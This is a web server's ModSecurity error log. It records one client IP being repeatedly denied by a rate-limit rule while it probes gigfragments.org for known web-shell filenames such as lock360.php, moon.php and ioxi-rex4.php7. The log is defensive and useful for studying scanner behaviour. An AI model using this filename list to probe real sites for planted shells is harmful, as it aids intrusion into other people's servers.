[Fri Dec 19 18:49:18.492531 2025] [:error] [pid 20582:tid 20664] [client 52.187.119.223:9169] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "aUUtrspAnrkQKZ4b5gYNLgAAANY"]
[Fri Dec 19 18:49:18.860340 2025] [:error] [pid 41451:tid 41459] [client 52.187.119.223:20050] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "aUUtrgYXFn-DbZghZBGxvgAAAAU"]
[Fri Dec 19 18:49:19.317777 2025] [:error] [pid 20581:tid 20624] [client 52.187.119.223:9172] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "aUUtr_xEv7WXNhnFD1liGgAAAIk"]
[Fri Dec 19 18:49:19.517651 2025] [:error] [pid 20675:tid 20710] [client 52.187.119.223:20069] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "aUUtr7MyJ3XqeDRsbQlpmgAAARY"]
[Fri Dec 19 18:49:19.744965 2025] [:error] [pid 20675:tid 20697] [client 52.187.119.223:9175] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aUUtr7MyJ3XqeDRsbQlpmwAAAQk"]
[Fri Dec 19 18:49:20.116844 2025] [:error] [pid 41451:tid 41455] [client 52.187.119.223:19984] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aUUtsAYXFn-DbZghZBGxwgAAAAE"]
[Fri Dec 19 18:49:20.335102 2025] [:error] [pid 41451:tid 41472] [client 52.187.119.223:9159] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aUUtsAYXFn-DbZghZBGxwwAAABI"]
[Fri Dec 19 18:49:20.615872 2025] [:error] [pid 20581:tid 20638] [client 52.187.119.223:20051] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aUUtsPxEv7WXNhnFD1liGwAAAJc"]
[Fri Dec 19 18:49:20.828207 2025] [:error] [pid 20582:tid 20661] [client 52.187.119.223:20024] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aUUtsMpAnrkQKZ4b5gYNMAAAANM"]
[Fri Dec 19 18:49:21.084793 2025] [:error] [pid 20582:tid 20659] [client 52.187.119.223:19987] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aUUtscpAnrkQKZ4b5gYNMQAAANE"]
[Fri Dec 19 18:49:21.350867 2025] [:error] [pid 20675:tid 20689] [client 52.187.119.223:9196] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aUUtsbMyJ3XqeDRsbQlpngAAAQE"]
[Fri Dec 19 18:49:21.601629 2025] [:error] [pid 20582:tid 20665] [client 52.187.119.223:9182] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aUUtscpAnrkQKZ4b5gYNMwAAANc"]
[Fri Dec 19 18:49:21.939735 2025] [:error] [pid 20580:tid 20596] [client 52.187.119.223:20054] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aUUtsUmd1op_YdAdgR14JgAAAEo"]
[Fri Dec 19 18:49:22.281712 2025] [:error] [pid 20581:tid 20628] [client 52.187.119.223:9212] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aUUtsvxEv7WXNhnFD1liHAAAAI0"]
[Fri Dec 19 18:49:22.532578 2025] [:error] [pid 20675:tid 20690] [client 52.187.119.223:19974] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aUUtsrMyJ3XqeDRsbQlpnwAAAQI"]
[Fri Dec 19 18:49:22.772886 2025] [:error] [pid 20675:tid 20704] [client 52.187.119.223:9155] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aUUtsrMyJ3XqeDRsbQlpoQAAARA"]
[Fri Dec 19 18:49:23.048641 2025] [:error] [pid 20580:tid 20600] [client 52.187.119.223:9162] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aUUts0md1op_YdAdgR14KAAAAE4"]
[Fri Dec 19 18:49:23.374505 2025] [:error] [pid 20675:tid 20709] [client 52.187.119.223:9135] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aUUts7MyJ3XqeDRsbQlpogAAARU"]
[Fri Dec 19 18:49:23.640475 2025] [:error] [pid 20675:tid 20692] [client 52.187.119.223:9215] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aUUts7MyJ3XqeDRsbQlppAAAAQQ"]
[Fri Dec 19 18:49:23.850517 2025] [:error] [pid 20675:tid 20698] [client 52.187.119.223:9157] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aUUts7MyJ3XqeDRsbQlppQAAAQo"]
[Fri Dec 19 18:49:24.098623 2025] [:error] [pid 20675:tid 20688] [client 52.187.119.223:9122] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uana.php"] [unique_id "aUUttLMyJ3XqeDRsbQlpqwAAAQA"]
[Fri Dec 19 18:49:24.323534 2025] [:error] [pid 20581:tid 20616] [client 52.187.119.223:9151] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uana.php"] [unique_id "aUUttPxEv7WXNhnFD1liHwAAAIE"]
[Fri Dec 19 18:49:24.499624 2025] [:error] [pid 41451:tid 41454] [client 52.187.119.223:9111] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uana.php"] [unique_id "aUUttAYXFn-DbZghZBGxxwAAAAA"]
[Fri Dec 19 18:49:24.728359 2025] [:error] [pid 20675:tid 20700] [client 52.187.119.223:20003] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uana.php"] [unique_id "aUUttLMyJ3XqeDRsbQlprQAAAQw"]
[Fri Dec 19 18:49:24.924054 2025] [:error] [pid 41451:tid 41456] [client 52.187.119.223:9207] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aUUttAYXFn-DbZghZBGxygAAAAI"]
[Fri Dec 19 18:49:25.130794 2025] [:error] [pid 20675:tid 20702] [client 52.187.119.223:9198] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aUUttbMyJ3XqeDRsbQlprgAAAQ4"]
[Fri Dec 19 18:49:25.474953 2025] [:error] [pid 20582:tid 20642] [client 52.187.119.223:9137] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aUUttcpAnrkQKZ4b5gYNNgAAAMA"]
[Fri Dec 19 18:49:25.839258 2025] [:error] [pid 20580:tid 20610] [client 52.187.119.223:9164] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aUUttUmd1op_YdAdgR14LQAAAFg"]
[Fri Dec 19 18:49:26.066602 2025] [:error] [pid 20582:tid 20648] [client 52.187.119.223:9210] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aUUttspAnrkQKZ4b5gYNNwAAAMY"]
[Fri Dec 19 18:49:26.398115 2025] [:error] [pid 20675:tid 20709] [client 52.187.119.223:9183] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aUUttrMyJ3XqeDRsbQlpsQAAARU"]
[Fri Dec 19 18:49:26.588742 2025] [:error] [pid 20675:tid 20692] [client 52.187.119.223:9035] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aUUttrMyJ3XqeDRsbQlpsgAAAQQ"]
[Fri Dec 19 18:49:26.791677 2025] [:error] [pid 20582:tid 20655] [client 52.187.119.223:9165] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aUUttspAnrkQKZ4b5gYNOAAAAM0"]
[Fri Dec 19 18:49:27.095655 2025] [:error] [pid 20582:tid 20666] [client 52.187.119.223:9200] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aUUtt8pAnrkQKZ4b5gYNOgAAANg"]
[Fri Dec 19 18:49:27.427487 2025] [:error] [pid 41451:tid 41464] [client 52.187.119.223:9114] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aUUttwYXFn-DbZghZBGxywAAAAo"]
[Fri Dec 19 18:49:27.671895 2025] [:error] [pid 41451:tid 41459] [client 52.187.119.223:20002] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aUUttwYXFn-DbZghZBGxzQAAAAU"]
[Fri Dec 19 18:49:28.031613 2025] [:error] [pid 41451:tid 41474] [client 52.187.119.223:9205] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aUUtuAYXFn-DbZghZBGxzgAAABQ"]
[Fri Dec 19 18:49:28.323133 2025] [:error] [pid 41451:tid 41458] [client 52.187.119.223:9166] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inc.php"] [unique_id "aUUtuAYXFn-DbZghZBGx0AAAAAQ"]
[Fri Dec 19 18:49:28.510272 2025] [:error] [pid 20580:tid 20604] [client 52.187.119.223:9105] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inc.php"] [unique_id "aUUtuEmd1op_YdAdgR14MQAAAFI"]
[Fri Dec 19 18:49:28.829337 2025] [:error] [pid 41451:tid 41461] [client 52.187.119.223:9203] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inc.php"] [unique_id "aUUtuAYXFn-DbZghZBGx0QAAAAc"]
[Fri Dec 19 18:49:29.039945 2025] [:error] [pid 20582:tid 20647] [client 52.187.119.223:9173] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inc.php"] [unique_id "aUUtucpAnrkQKZ4b5gYNPgAAAMU"]
[Fri Dec 19 18:49:29.229811 2025] [:error] [pid 41451:tid 41476] [client 52.187.119.223:9140] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aUUtuQYXFn-DbZghZBGx0gAAABY"]
[Fri Dec 19 18:49:29.517712 2025] [:error] [pid 20675:tid 20691] [client 52.187.119.223:9187] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aUUtubMyJ3XqeDRsbQlptwAAAQM"]
[Fri Dec 19 18:49:29.744003 2025] [:error] [pid 20582:tid 20664] [client 52.187.119.223:20014] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aUUtucpAnrkQKZ4b5gYNPwAAANY"]
[Fri Dec 19 18:49:30.110385 2025] [:error] [pid 20582:tid 20658] [client 52.187.119.223:9052] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aUUtuspAnrkQKZ4b5gYNQQAAANA"]
[Fri Dec 19 18:49:30.376681 2025] [:error] [pid 20580:tid 20600] [client 52.187.119.223:9158] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-rex4.php7"] [unique_id "aUUtukmd1op_YdAdgR14NQAAAE4"]
[Fri Dec 19 18:49:30.592106 2025] [:error] [pid 20580:tid 20587] [client 52.187.119.223:9112] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-rex4.php7"] [unique_id "aUUtukmd1op_YdAdgR14NgAAAEE"]
[Fri Dec 19 18:49:30.806138 2025] [:error] [pid 20580:tid 20589] [client 52.187.119.223:20030] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-rex4.php7"] [unique_id "aUUtukmd1op_YdAdgR14OAAAAEM"]
[Fri Dec 19 18:49:31.084770 2025] [:error] [pid 20580:tid 20593] [client 52.187.119.223:20057] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-rex4.php7"] [unique_id "aUUtu0md1op_YdAdgR14OQAAAEc"]
[Fri Dec 19 18:49:31.362754 2025] [:error] [pid 41451:tid 41475] [client 52.187.119.223:9036] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aUUtuwYXFn-DbZghZBGx2AAAABU"]
[Fri Dec 19 18:49:31.563853 2025] [:error] [pid 41451:tid 41456] [client 52.187.119.223:9153] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aUUtuwYXFn-DbZghZBGx2QAAAAI"]
[Fri Dec 19 18:49:31.759833 2025] [:error] [pid 41451:tid 41470] [client 52.187.119.223:20028] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aUUtuwYXFn-DbZghZBGx3AAAABA"]
[Fri Dec 19 18:49:32.003511 2025] [:error] [pid 20582:tid 20642] [client 52.187.119.223:20017] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aUUtvMpAnrkQKZ4b5gYNRAAAAMA"]
[Fri Dec 19 18:49:32.199301 2025] [:error] [pid 41451:tid 41471] [client 52.187.119.223:9030] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-info.php"] [unique_id "aUUtvAYXFn-DbZghZBGx3gAAABE"]
[Fri Dec 19 18:49:32.390187 2025] [:error] [pid 20675:tid 20694] [client 52.187.119.223:20023] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-info.php"] [unique_id "aUUtvLMyJ3XqeDRsbQlpugAAAQY"]
[Fri Dec 19 18:49:32.668142 2025] [:error] [pid 20675:tid 20689] [client 52.187.119.223:9125] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-info.php"] [unique_id "aUUtvLMyJ3XqeDRsbQlpvAAAAQE"]
[Fri Dec 19 18:49:32.973331 2025] [:error] [pid 20580:tid 20610] [client 52.187.119.223:9108] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-info.php"] [unique_id "aUUtvEmd1op_YdAdgR14PQAAAFg"]
[Fri Dec 19 18:49:33.299602 2025] [:error] [pid 20581:tid 20637] [client 52.187.119.223:9056] [client 52.187.119.223] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/warm.PhP7"] [unique_id "aUUtvfxEv7WXNhnFD1liJAAAAJY"]
